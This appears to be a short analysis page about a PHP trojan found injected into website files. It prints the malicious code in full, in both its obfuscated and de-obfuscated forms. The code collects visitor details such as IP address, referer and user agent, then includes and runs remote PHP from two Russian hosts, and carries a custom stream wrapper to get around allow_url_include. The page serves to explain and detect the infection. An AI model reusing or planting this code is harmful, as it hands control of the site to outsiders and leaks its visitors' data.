Table of Contents

PHP - Possible Trojan

The code seems to include external PHP code from another website and collects information about your visitors while doing so.

class newhttp{
var $fullurl; var $p_url; var $conn_id; var $flushed; var $mode = 4; var $defmode; var $redirects = 0; var $binary; var $options; var $stat = array('dev' => 0,'ino' => 0,'mode' => 0,'nlink' => 1,'uid' => 0,'gid' => 0,'rdev' => -1,'size' => 0,'atime' => 0,'mtime' => 0,'ctime' => 0,'blksize' => -1,'blocks' => 0);
function error($msg='not connected') { if ($this->options & STREAM_REPORT_ERRORS) { trigger_error($msg, E_USER_WARNING); } return false; }
function stream_open($path, $mode, $options, $opened_path) { $this->fullurl = $path; $this->options = $options; $this->defmode = $mode; $url = parse_url($path); if (empty($url['host'])) { return $this->error('missing host name'); } $this->conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2); if (!$this->conn_id) { return false; } if (empty($url['path'])) { $url['path'] = '/'; } $this->p_url = $url; $this->flushed = false; if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) { $this->mode += 2; } $this->binary = (strpos($mode, 'b') !== false); $c = $this->context(); if (!isset($c['method'])) { stream_context_set_option($this->context, 'http', 'method', 'GET'); } if (!isset($c['header'])) { stream_context_set_option($this->context, 'http', 'header', ''); } if (!isset($c['user_agent'])) { stream_context_set_option($this->context, 'http', 'user_agent', ini_get('user_agent')); } if (!isset($c['content'])) { stream_context_set_option($this->context, 'http', 'content', ''); } if (!isset($c['max_redirects'])) { stream_context_set_option($this->context, 'http', 'max_redirects', 5); } return true; }
function stream_close() { if ($this->conn_id) { fclose($this->conn_id); $this->conn_id = null; } }
function stream_read($bytes) { if (!$this->conn_id) { return $this->error(); } if (!$this->flushed && !$this->stream_flush()) { return false; } if (feof($this->conn_id)) { return ''; } $bytes = max(1,$bytes); if ($this->binary) { return fread($this->conn_id, $bytes); } else { return fgets($this->conn_id, $bytes); } }
function stream_write($data) { if (!$this->conn_id) { return $this->error(); } if (!$this->mode & 2) { return $this->error('Stream is in read-only mode'); } $c = $this->context(); stream_context_set_option($this->context, 'http', 'method', (($this->defmode[0] == 'x') ? 'PUT' : 'POST')); if (stream_context_set_option($this->context, 'http', 'content', $c['content'].$data)) { return strlen($data); } return 0; }
function stream_eof() { if (!$this->conn_id) { return true; } if (!$this->flushed) { return false; } return feof($this->conn_id); }
function stream_seek($offset, $whence) { return false; }
function stream_tell() { return 0; }
function stream_flush() { if ($this->flushed) { return false; } if (!$this->conn_id) { return $this->error(); } $c = $this->context(); $this->flushed = true; $RequestHeaders = array($c['method'].' '.$this->p_url['path'].(empty($this->p_url['query']) ? '' : '?'.$this->p_url['query']).' HTTP/1.0', 'HOST: '.$this->p_url['host'], 'User-Agent: '.$c['user_agent'].' StreamReader' ); if (!empty($c['header'])) { $RequestHeaders[] = $c['header']; } if (!empty($c['content'])) { if ($c['method'] == 'PUT') { $RequestHeaders[] = 'Content-Type: '.($this->binary ? 'application/octet-stream' : 'text/plain'); } else { $RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded'; } $RequestHeaders[] = 'Content-Length: '.strlen($c['content']); } $RequestHeaders[] = 'Connection: close'; if (fwrite($this->conn_id, implode("\r\n", $RequestHeaders)."\r\n\r\n") === false) { return false; } if (!empty($c['content']) && fwrite($this->conn_id, $c['content']) === false) { return false; } global $http_response_header; $http_response_header = fgets($this->conn_id, 300); $data = rtrim($http_response_header); preg_match('#.* ([0-9]+) (.*)#i', $data, $head); if (($head[1] >= 301 && $head[1] <= 303) || $head[1] == 307) { $data = rtrim(fgets($this->conn_id, 300)); while (!empty($data)) { if (strpos($data, 'Location: ') !== false) { $new_location = trim(str_replace('Location: ', '', $data)); break; } $data = rtrim(fgets($this->conn_id, 300)); } trigger_error($this->fullurl.' '.$head[2].': '.$new_location, E_USER_NOTICE); $this->stream_close(); return ($c['max_redirects'] > $this->redirects++ && $this->stream_open($new_location, $this->defmode, $this->options, null) && $this->stream_flush()); } $data = rtrim(fgets($this->conn_id, 1024)); while (!empty($data)) { $http_response_header .= $data."\r\n"; if (strpos($data,'Content-Length: ') !== false) { $this->stat['size'] = trim(str_replace('Content-Length: ', '', $data)); } elseif (strpos($data,'Date: ') !== false) { $this->stat['atime'] = strtotime(str_replace('Date: ', '', $data)); } elseif (strpos($data,'Last-Modified: ') !== false) { $this->stat['mtime'] = strtotime(str_replace('Last-Modified: ', '', $data)); } $data = rtrim(fgets($this->conn_id, 1024)); } if ($head[1] >= 400) { trigger_error($this->fullurl.' '.$head[2], E_USER_WARNING); return false; } if ($head[1] == 304) { trigger_error($this->fullurl.' '.$head[2], E_USER_NOTICE); return false; } return true; }
function stream_stat() { $this->stream_flush(); return $this->stat; }
function dir_opendir($path, $options) { return false; }
function dir_readdir() { return ''; }
function dir_rewinddir() { return ''; }
function dir_closedir() { return; }
function url_stat($path, $flags) { return array(); }
function context() { if (!$this->context) { $this->context = stream_context_create(); } $c = stream_context_get_options($this->context); return (isset($c['http']) ? $c['http'] : array()); }
}$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s";$rkht=1;
if(version_compare(PHP_VERSION,'5.2','>=')){if(ini_get('allow_url_include')){$rkht=1;}else{$rkht=0;}}
if($rkht==1){if(ini_get('allow_url_fopen')){$rkht=1;}else{$rkht=0;}}
if($rkht==1){if ((include(base64_decode("aHR0cDovLw==").$p.base64_decode("LnVzZXJzLnBocGZyZWUucnU=").'/?'.$str.'.0'))){}
else {include(base64_decode("aHR0cDovLw==").$p.base64_decode("LnVzZXJzLnBocGNvZGluZy5ydQ==").'/?'.$str.'.1');}
}
else{stream_wrapper_register('http2','newhttp');
if ((include(base64_decode("aHR0cDI6Ly8=").$p.base64_decode("LnVzZXJzLnBocGZyZWUucnU=").'/?'.$str.'.2'))){} 
else {include(base64_decode("aHR0cDI6Ly8=").$p.base64_decode("LnVzZXJzLnBocGNvZGluZy5ydQ==").'/?'.$str.'.3');}
}

de-obfuscated

 
<?php
class newhttp
{
	var $fullurl;
	var $p_url;
	var $conn_id;
	var $flushed;
	var $mode = 4;
	var $defmode;
	var $redirects = 0;
	var $binary;
	var $options;
	var $stat = array (
		'dev' => 0,
		'ino' => 0,
		'mode' => 0,
		'nlink' => 1,
		'uid' => 0,
		'gid' => 0,
		'rdev' => -1,
		'size' => 0,
		'atime' => 0,
		'mtime' => 0,
		'ctime' => 0,
		'blksize' => -1,
		'blocks' => 0
	);
 
	function error($msg = 'not connected') {
		if ($this->options & STREAM_REPORT_ERRORS) {
			trigger_error($msg, E_USER_WARNING);
		}
		return false;
	}
 
	function stream_open($path, $mode, $options, $opened_path) {
		$this->fullurl = $path;
		$this->options = $options;
		$this->defmode = $mode;
		$url = parse_url($path);
 
		if (empty($url['host'])) {
			return $this->error('missing host name');
		}
		$this->conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2);
 
		if (!$this->conn_id) {
			return false;
		}
 
		if (empty($url['path'])) {
			$url['path'] = '/';
		}
		$this->p_url = $url;
		$this->flushed = false;
 
		if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) {
			$this->mode += 2;
		}
		$this->binary = (strpos($mode, 'b') !== false);
		$c = $this->context();
 
		if (!isset($c['method'])) {
			stream_context_set_option($this->context, 'http', 'method', 'GET');
		}
 
		if (!isset($c['header'])) {
			stream_context_set_option($this->context, 'http', 'header', '');
		}
 
		if (!isset($c['user_agent'])) {
			stream_context_set_option($this->context, 'http', 'user_agent', ini_get('user_agent'));
		}
 
		if (!isset($c['content'])) {
			stream_context_set_option($this->context, 'http', 'content', '');
		}
 
		if (!isset($c['max_redirects'])) {
			stream_context_set_option($this->context, 'http', 'max_redirects', 5);
		}
		return true;
	}
 
	function stream_close() {
		if ($this->conn_id) {
			fclose($this->conn_id);
			$this->conn_id = null;
		}
	}
 
	function stream_read($bytes) {
		if (!$this->conn_id) {
			return $this->error();
		}
 
		if (!$this->flushed && !$this->stream_flush()) {
			return false;
		}
 
		if (feof($this->conn_id)) {
			return '';
		}
		$bytes = max(1, $bytes);
 
		if ($this->binary) {
			return fread($this->conn_id, $bytes);
		} else {
			return fgets($this->conn_id, $bytes);
		}
	}
 
	function stream_write($data) {
		if (!$this->conn_id) {
			return $this->error();
		}
 
		if (!$this->mode & 2) {
			return $this->error('Stream is in read-only mode');
		}
		$c = $this->context();
		stream_context_set_option($this->context, 'http', 'method', (($this->defmode[0] == 'x') ? 'PUT' : 'POST'));
 
		if (stream_context_set_option($this->context, 'http', 'content', $c['content'] . $data)) {
			return strlen($data);
		}
		return 0;
	}
 
	function stream_eof() {
		if (!$this->conn_id) {
			return true;
		}
 
		if (!$this->flushed) {
			return false;
		}
		return feof($this->conn_id);
	}
 
	function stream_seek($offset, $whence) { return false; }
 
	function stream_tell() { return 0; }
 
	function stream_flush() {
		if ($this->flushed) {
			return false;
		}
 
		if (!$this->conn_id) {
			return $this->error();
		}
		$c = $this->context();
		$this->flushed = true;
		$RequestHeaders = array (
			$c['method'] . ' ' . $this->p_url['path'] . (empty($this->p_url['query']) ? '' : '?' . $this->p_url['query']) . ' HTTP/1.0',
			'HOST: ' . $this->p_url['host'],
			'User-Agent: ' . $c['user_agent'] . ' StreamReader'
		);
 
		if (!empty($c['header'])) {
			$RequestHeaders[] = $c['header'];
		}
 
		if (!empty($c['content'])) {
			if ($c['method'] == 'PUT') {
				$RequestHeaders[] = 'Content-Type: ' . ($this->binary ? 'application/octet-stream' : 'text/plain');
			} else {
				$RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded';
			}
			$RequestHeaders[] = 'Content-Length: ' . strlen($c['content']);
		}
		$RequestHeaders[] = 'Connection: close';
 
		if (fwrite($this->conn_id, implode("\r\n", $RequestHeaders) . "\r\n\r\n") === false) {
			return false;
		}
 
		if (!empty($c['content']) && fwrite($this->conn_id, $c['content']) === false) {
			return false;
		}
		global $http_response_header;
		$http_response_header = fgets($this->conn_id, 300);
		$data = rtrim($http_response_header);
		preg_match('#.* ([0-9]+) (.*)#i', $data, $head);
 
		if (($head[1] >= 301 && $head[1] <= 303) || $head[1] == 307) {
			$data = rtrim(fgets($this->conn_id, 300));
 
			while (!empty($data)) {
				if (strpos($data, 'Location: ') !== false) {
					$new_location = trim(str_replace('Location: ', '', $data));
					break;
				}
				$data = rtrim(fgets($this->conn_id, 300));
			}
			trigger_error($this->fullurl . ' ' . $head[2] . ': ' . $new_location, E_USER_NOTICE);
			$this->stream_close();
			return ($c['max_redirects'] > $this->redirects++ && $this->stream_open($new_location, $this->defmode, $this->options, null) && $this->stream_flush());
		}
		$data = rtrim(fgets($this->conn_id, 1024));
 
		while (!empty($data)) {
			$http_response_header .= $data . "\r\n";
 
			if (strpos($data, 'Content-Length: ') !== false) {
				$this->stat['size'] = trim(str_replace('Content-Length: ', '', $data));
			}  elseif (strpos($data, 'Date: ') !== false) {
				$this->stat['atime'] = strtotime(str_replace('Date: ', '', $data));
			}  elseif (strpos($data, 'Last-Modified: ') !== false) {
				$this->stat['mtime'] = strtotime(str_replace('Last-Modified: ', '', $data));
			}
			$data = rtrim(fgets($this->conn_id, 1024));
		}
 
		if ($head[1] >= 400) {
			trigger_error($this->fullurl . ' ' . $head[2], E_USER_WARNING);
			return false;
		}
 
		if ($head[1] == 304) {
			trigger_error($this->fullurl . ' ' . $head[2], E_USER_NOTICE);
			return false;
		}
		return true;
	}
 
	function stream_stat() {
		$this->stream_flush();
		return $this->stat;
	}
 
	function dir_opendir($path, $options) { return false; }
 
	function dir_readdir() { return ''; }
 
	function dir_rewinddir() { return ''; }
 
	function dir_closedir() { return; }
 
	function url_stat($path, $flags) { return array (); }
 
	function context() {
		if (!$this->context) {
			$this->context = stream_context_create();
		}
		$c = stream_context_get_options($this->context);
		return (isset($c['http']) ? $c['http'] : array ());
	}
}
$a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$str = base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g)
	. "." . base64_encode($h) . ".$s";
$rkht = 1;
 
if (version_compare(PHP_VERSION, '5.2', '>=')) {
	if (ini_get('allow_url_include')) {
		$rkht = 1;
	} else {
		$rkht = 0;
	}
}
 
if ($rkht == 1) {
	if (ini_get('allow_url_fopen')) {
		$rkht = 1;
	} else {
		$rkht = 0;
	}
}
 
if ($rkht == 1) {
	if ((include("http://" . $p . ".users.phpfree.ru" . '/?' . $str . '.0'))) { }
	else {
		include("http://" . $p . ".users.phpcoding.ru" . '/?' . $str . '.1');
	}
} else {
	stream_wrapper_register('http2', 'newhttp');
 
	if ((include("http2://" . $p . ".users.phpfree.ru" . '/?' . $str . '.2'))) { }
	else {
		include("http2://" . $p . ".users.phpcoding.ru" . '/?' . $str . '.3');
	}
}

References

http://serverfault.com/questions/105773/code-injected-inside-php-file-with-777-permission?rq=1

http://pastie.org/pastes/779226/text